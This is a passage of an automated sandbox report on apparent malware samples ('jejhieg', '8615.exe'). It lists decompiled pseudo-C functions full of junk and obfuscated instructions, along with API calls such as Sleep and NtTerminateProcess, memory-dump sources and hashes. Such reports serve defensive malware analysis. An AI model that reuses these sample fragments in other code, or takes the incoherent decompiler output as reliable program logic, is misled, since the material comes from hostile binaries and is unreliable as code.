API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000012.00000002.378993176.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000012.00000002.378993176.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: jejhieg PID: 3152 Parent PID: 3940 jejhiegCOMMON

Executed Functions

Function 00402AC0, Relevance: .1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00402AC0(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr* _t21;
				void* _t24;
				void* _t27;

				_t24 = __ecx;
				_push(0xffffffb6);
				 *((intOrPtr*)(__ebx + 0x47)) =  *((intOrPtr*)(__ebx + 0x47)) - __ebx;
				_push(__ecx);
				_t23 = 0x2e9e9c3;
				asm("in al, dx");
				asm("cmpsd");
				asm("loopne 0x4");
				asm("sbb al, 0x27");
				_t3 = __ecx - 0x16161681;
				 *_t3 =  *((intOrPtr*)(__ecx - 0x16161681)) - __eax + __eax - _t27;
				_t21 = 2;
				asm("in al, dx");
				if( *_t3 >= 0) {
					_t23 = 0x2e9e9c3 +  *0xf4b01aa;
					_push(ss);
					_push(ss);
					_t21 = 0x2b10;
					_push(0xad);
				}
				asm("lodsd");
				 *_t21 =  *_t21 + _t21;
				 *((intOrPtr*)(_t24 - 0x15)) =  *((intOrPtr*)(_t24 - 0x15)) + _t23;
				_t21 = _t21 + 0xf4eb0301;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
			}

0x00402ac0
0x00402ac0
0x00402ac2
0x00402ac5
0x00402ac6
0x00402acb
0x00402acc
0x00402acd
0x00402acf
0x00402ad5
0x00402ad5
0x00402adb
0x00402add
0x00402ade
0x00402ae0
0x00402ae6
0x00402ae7
0x00402aed
0x00402afe
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b05
0x00402b0b

Memory Dump Source

Source File: 00000013.00000002.502543156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction ID: 7fe242a26a87a4f58b180528eeead1ac373e7822ac378e6f41f12b53d01bde8d
Opcode Fuzzy Hash: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction Fuzzy Hash: 4A21DB35208145EADF12AE618F5E9AA37349F10344F2400FBAD01751E2DBFD9B02BA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00402AEB, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00402AEB(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t15;

				_t15 = __ebx;
				while(1) {
					_push(0xad);
					asm("lodsd");
					 *0x2b10 =  *0x2b10 + 0x2b10;
					 *0x0000005D =  *((intOrPtr*)(0x5d)) + _t15;
					__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				}
			}

0x00402aeb
0x00402aed
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b0b
0x00402b0b

Memory Dump Source

Source File: 00000013.00000002.502543156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction ID: 703404f178dd1594a4d59af797b8ce1b5d4eb18bb8309dbacaae7544c7f15ca3
Opcode Fuzzy Hash: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction Fuzzy Hash: 0A11FE30604106EADF12BE518B5ED7A3335AF10344F2000BBAD02751E1DBFDAB12B61B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 8615.exe PID: 3888 Parent PID: 3472 8615.exeCOMMON

Executed Functions

Function 004017A3, Relevance: 3.1, APIs: 2, Instructions: 56
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004017A3(signed int __edx, void* __edi, void* __esi, void* __fp0) {

				asm("wait");
				 *(0x7684bd6c + __edx * 4) =  *(0x7684bd6c + __edx * 4) >> 1;
			}

0x004017a6
0x004017aa

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000018.00000002.438334162.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction ID: 5bd60c2b3e8a068e4466346cbc0defb5667620a0c4f183a3ee32389aea7e8ad2
Opcode Fuzzy Hash: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction Fuzzy Hash: 3E01C033648100EBE700BA909C42E6A3325AF00700F24C137FA53BA1E1C63EDB22975B

Uniqueness

Uniqueness Score: -1.00%

Function 0040181C, Relevance: 3.1, APIs: 2, Instructions: 55
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E0040181C(void* __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t24;

				_t19 = __edx;
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, _t20, _t21, _t24);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_push(0x1851);
				asm("les eax, [ebx+ebp*8]");
				_push(0x66);
				__esp = __esp + 4;
				return __eax;
			}

0x0040181c
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x0040188b
0x00401894
0x004018a3
0x004018a8
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000018.00000002.438334162.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction ID: 0d4c73ff1a25ccc0af209e25dff701d5f0484e4d803941be834223819e423ed0
Opcode Fuzzy Hash: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction Fuzzy Hash: DA019E33608204EBE7007A949D46D6A3329EF04714F24C137FA07791E1D63E9B22A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401828, Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00401828(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t22;
				void* _t25;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				asm("enter 0xdd16, 0x68");
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, __edi, __esi, _t25);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(); // executed
				asm("les eax, [ebx+ebp*8]");
				__esp = __esp + 4;
				__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
				__edi = 0x66;
				__esi = 0x1851;
				__ebx = 0xffffffff;
				__esp = __ebp;
				__ebp = 0;
				return __eax;
			}

0x00401828
0x00401828
0x00401828
0x00401828
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x00401894
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000018.00000002.438334162.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction ID: b329b9df0df391f908064f7b6fb4b650575042adab4467ec8a7c1b58a8870e1c
Opcode Fuzzy Hash: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction Fuzzy Hash: F701B533648200EBE700BB909C42E6A37259F04701F248137FA53791E1D63ED722E72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017DA, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004017DA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t31;
				void* _t39;
				signed int _t40;

				L0:
				while(1) {
					_t31 = __edi;
					_t16 = __eax;
					__eax = __esp;
					__esp = _t16;
					_t17 = __eax;
					__eax = _t16;
					__esp = _t17;
					__eax = __edi * 0xffffff88;
					__eflags = __eax;
					if(__eflags >= 0) {
						L21:
						_push(0x66);
						__esp = __esp + 4;
						L23:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						__ebx =  *((intOrPtr*)(__ebp + 8));
						Sleep(0x1388);
						__eax = __ebp - 4;
						_push(__ebp - 4);
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *((intOrPtr*)(__ebp + 0xc)));
						_push(__ebx); // executed
						__eax = E004013A0(__ebx, __edi, __esi); // executed
						__eflags = __eax;
						if(__eax != 0) {
							L24:
							_push( *((intOrPtr*)(__ebp + 0x14)));
							_push( *(__ebp - 4));
							L25:
							_push(__eax);
							_push(__ebx); // executed
							__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
						}
						L26:
						__eax =  *__ebx(0xffffffff, 0); // executed
						L29:
						L27:
						_push(0x1851);
						__eax =  *__esp;
						L28:
						__al = __al & 0x00000083;
						asm("les eax, [ebx+ebp*8]");
						__eax = __eax + 0xefeb0eeb;
						__eflags = __eax;
						L30:
						L35:
						L31:
						_push(0x66);
						L32:
						L33:
						__esp = __esp + 4;
						L34:
						L36:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						L14:
						_push(0x867f6b6b);
						goto 0x363cf8f5;
						asm("adc byte [esp+edx*4+0x17b0901f], 0x50");
						if(__eflags > 0) {
							L5:
							asm("stosb");
							_t5 = __eax;
							__eax = __esp;
							__esp = _t5;
							asm("loopne 0xffffffbe");
							_pop(ds);
							asm("stosb");
							_pop(ds);
							asm("ficom dword [eax+0x459c7d17]");
							if(__eflags < 0) {
								L6:
								_push(__edx);
								asm("pushfd");
								asm("movsd");
								_push(__esp);
								asm("repne cmp [0x9494a494], edi");
								asm("loopne 0xffffff9a");
								L7:
								asm("wait");
								_t6 = __eax;
								__eax = __esp;
								__esp = _t6;
								_t7 = __eax;
								__eax = _t6;
								__esp = _t7;
								__eax = __edi;
								__edi = _t6;
								_t10 = 0x7684bd6c + __edx * 4;
								 *_t10 =  *(0x7684bd6c + __edx * 4) >> 1;
								__eflags =  *_t10;
							}
							L8:
							__ebp = 0x7f737684;
						} else {
							L15:
							if (__eflags >= 0) goto L11;
							L16:
							asm("xlatb");
						}
					}
					L37:
				}
				L3:
				_t4 = _t31;
				_t31 = _t39;
				_t39 = _t4;
				if(_t40 > 0) {
					_t2 = _t31 + 0xe;
					 *_t2 =  *(_t31 + 0xe) << 0x4d;
					_t40 =  *_t2;
					asm("cmpsd");
					goto L3;
				}
				return _t31;
				goto L37;
			}

0x004017da
0x004017da
0x004017da
0x004017db
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017dc
0x004017dd
0x004017dd
0x004017e0
0x0040183d
0x0040183d
0x00401842
0x0040184c
0x0040184c
0x00401851
0x00401859
0x0040185c
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186c
0x0040186e
0x00401870
0x00401870
0x00401873
0x00401876
0x00401876
0x00401877
0x00401878
0x00401878
0x0040187d
0x00401881
0x0040189a
0x0040188b
0x0040188b
0x00401890
0x00401892
0x00401892
0x00401894
0x00401897
0x00401897
0x0040189d
0x004018af
0x004018a3
0x004018a3
0x004018a4
0x004018a8
0x004018a8
0x004018ab
0x004018b2
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017e2
0x004017e2
0x004017e2
0x004017e7
0x004017ec
0x004017f5
0x00401788
0x00401788
0x00401789
0x00401789
0x00401789
0x0040178a
0x0040178c
0x0040178d
0x0040178e
0x0040178f
0x00401795
0x00401797
0x00401797
0x00401798
0x00401799
0x0040179a
0x0040179b
0x004017a2
0x004017a3
0x004017a6
0x004017a7
0x004017a7
0x004017a7
0x004017a8
0x004017a8
0x004017a8
0x004017a9
0x004017a9
0x004017aa
0x004017aa
0x004017aa
0x004017aa
0x004017ae
0x004017ae
0x004017f7
0x004017f7
0x004017f7
0x004017f8
0x004017f8
0x004017f8
0x004017f5
0x00000000
0x004017e0
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x00401771
0x00000000
0x00401771
0x00401775
0x00000000

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000018.00000002.438334162.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction ID: a894bf59af688e7f2aefbaf232239d4a7e11f6dbdc9ab261776b6b6844387aa1
Opcode Fuzzy Hash: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction Fuzzy Hash: 0A018432644201EBEB00BA909D42D6E3325AF44714F248137FA17BA1E1D63EDB22976B

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E004017F8(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t30;
				void* _t37;
				signed int _t39;

				L0:
				while(1) {
					_t30 = __eax;
					asm("xlatb");
					__eax =  *__edi * 8;
					__eflags = __eax;
					_t12 = __eax;
					__eax = __esp;
					__esp = _t12;
					_t13 = __eax;
					__eax = _t12;
					__esp = _t13;
					__eax = _t13;
					__esp = _t12;
					if(__eflags > 0) {
						L2:
						asm("cmpsd");
						L3:
						_t3 = _t30;
						_t30 = _t37;
						_t37 = _t3;
						if(_t39 > 0) {
							L1:
							_t1 = _t30 + 0xe;
							 *_t1 =  *(_t30 + 0xe) << 0x4d;
							_t39 =  *_t1;
							goto L2;
						}
						L4:
						return _t30;
					} else {
						L12:
						asm("cld");
						if (__eflags < 0) goto L3;
						L13:
						_t15 = __eax;
						__eax = __edi;
						__edi = _t15;
					}
					L37:
				}
				if(__eflags > 0) {
					__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
					__eax =  *__ebx(__ebx, __eax); // executed
					__eax =  *__esp;
					__al = __al & 0x00000083;
					asm("les eax, [ebx+ebp*8]");
					__eax = __eax + 0xefeb0eeb;
					__eflags = __eax;
					__esp = __esp + 4;
					__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
					__edi = 0x66;
					__esi = 0x1851;
					__ebx = 0xffffffff;
					__esp = __ebp;
					__ebp = 0;
					return __eax;
				} else {
					__bh = __bh &  *(__edi - 0x65);
					asm("clc");
					asm("popfd");
					asm("lodsd");
					asm("enter 0xe0fc, 0x97");
					_t19 = __eax;
					__eax = __esp;
					__esp = _t19;
					_t20 = __eax;
					__eax = _t19;
					__esp = _t20;
					asm("int 0x7f");
					__eax = __ecx;
					__ecx = _t19;
					__bh = 0x7f;
					asm("pushad");
					asm("repne jl 0xffffffd4");
					asm("insd");
					__ebp =  *(__ebx + 0x5f) * 0x5e;
					__eflags = __ebp;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				goto L37;
			}

0x004017f8
0x004017f8
0x004017f8
0x004017f8
0x004017d0
0x004017d0
0x004017d3
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d4
0x004017d5
0x004017d5
0x004017d6
0x00401771
0x00401771
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x0040176a
0x00000000
0x0040176e
0x00401775
0x00401775
0x004017d8
0x004017d8
0x004017d8
0x004017d9
0x004017da
0x004017da
0x004017da
0x004017da
0x004017da
0x00000000
0x004017d6
0x004017f9
0x00401878
0x00401881
0x00401890
0x00401892
0x00401894
0x00401897
0x00401897
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017fb
0x004017fb
0x004017fe
0x004017ff
0x00401801
0x00401802
0x00401806
0x00401806
0x00401806
0x00401807
0x00401807
0x00401807
0x00401808
0x0040180a
0x0040180a
0x0040180b
0x0040180e
0x0040180f
0x00401812
0x00401813
0x00401813
0x00401817
0x00401818
0x00401818
0x00401819
0x00401819
0x00000000

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000018.00000002.438334162.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction ID: 5d664576ed34e104d60d9d9409068ebedb4ca3d0074abe090f0a839b89efd0e8
Opcode Fuzzy Hash: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction Fuzzy Hash: DCF0C233748211DAE205B6599C83B29B3909F11724F24813BE557BB1E2D26E9622525F

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B501C65,000000FF,00000007,?,00000004,00000000,?,?,?,6B501951,00000065,00000000,?,6B500C5E,?,00000000), ref: 6B4B9694

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5aefd12c0150db7a53162b49eb4c117c330dce27378aa489406afe287e6de3ee
Instruction ID: cdefe419626f294d1db2c03daf07c2384c9d0367db79c80a7b743a835d6f255d
Opcode Fuzzy Hash: 5aefd12c0150db7a53162b49eb4c117c330dce27378aa489406afe287e6de3ee
Instruction Fuzzy Hash: 73B092B2D864C5CAE711E7A44A08F1B7E117BE0B81F26C0A6E2020A91B477DC091F6B6

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B501A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B4B99AA

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e71a12401801fa5ebb8419d7ffa8a2375e3b54a822738af8b639dcb940c4995d
Instruction ID: d58e26ecbd56f44f53378e315bb963a2fce95cb6fb765c37ec65266fa77fcc70
Opcode Fuzzy Hash: e71a12401801fa5ebb8419d7ffa8a2375e3b54a822738af8b639dcb940c4995d
Instruction Fuzzy Hash: 649002E53C100442D21061594414F07040697E1781F51C025E1054954E875DCC527167

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5015BB,00000073,?,00000008,00000000,?,00000568), ref: 6B4B986A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2f7cfb91cf395f3985717826929a33bf72758b67f9d6e682c9802e92ff028863
Instruction ID: 19046335d22656910993e56e1f52964dc5b733474c495d8e4623942cc1e69a41
Opcode Fuzzy Hash: 2f7cfb91cf395f3985717826929a33bf72758b67f9d6e682c9802e92ff028863
Instruction Fuzzy Hash: 4E9002B528100413D22161594504B07040A57D06C1F91C422A0414958E979A8952B162

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B9820, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B4D2EA4,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?), ref: 6B4B982A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 027790f56eb9f8e9a647d7fb12cd6436a41347ce268bc9e8356ff42c2ceea1fe
Instruction ID: 189f0df35c4e8a27836e392858970bb0c3cd5392537544176c06c3b5356b6692
Opcode Fuzzy Hash: 027790f56eb9f8e9a647d7fb12cd6436a41347ce268bc9e8356ff42c2ceea1fe
Instruction Fuzzy Hash: 139002B52C100402D25171594404A07040A67D06C1F91C022A0414954F87998A56BAA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B98C0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B50108E,000000FF,000000FF,000000FF,?,001FFFFF,00000002,00000000,6B5507D0,00000058,6B500C91,?,00000000,?,00000000), ref: 6B4B98CA

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e799d19b8b3be1f5cdde7693945eccf468e6a260fc79e7eef03c9d5e7e10871c
Instruction ID: 68f38d741c37f1469d3281581e13b88164bd39d711e0393ef8e974c17021ff29
Opcode Fuzzy Hash: e799d19b8b3be1f5cdde7693945eccf468e6a260fc79e7eef03c9d5e7e10871c
Instruction Fuzzy Hash: 119002A528100482E21161594404F07140A57E06C1F91C026A1019964E8759C952B266

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B501A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6B4B978A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bd1c16103f5f6cdb5b84d70f80d5f76c65979157991898d5b2bf92e058151f15
Instruction ID: 9965b5cbe21d9908f0269fee0a03d3dda95dc174655641a46e00b29a1900b54a
Opcode Fuzzy Hash: bd1c16103f5f6cdb5b84d70f80d5f76c65979157991898d5b2bf92e058151f15
Instruction Fuzzy Hash: 5E9002AD29300002D29071595408A0B040657D1682F91D425A0005958DCA5988696362

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

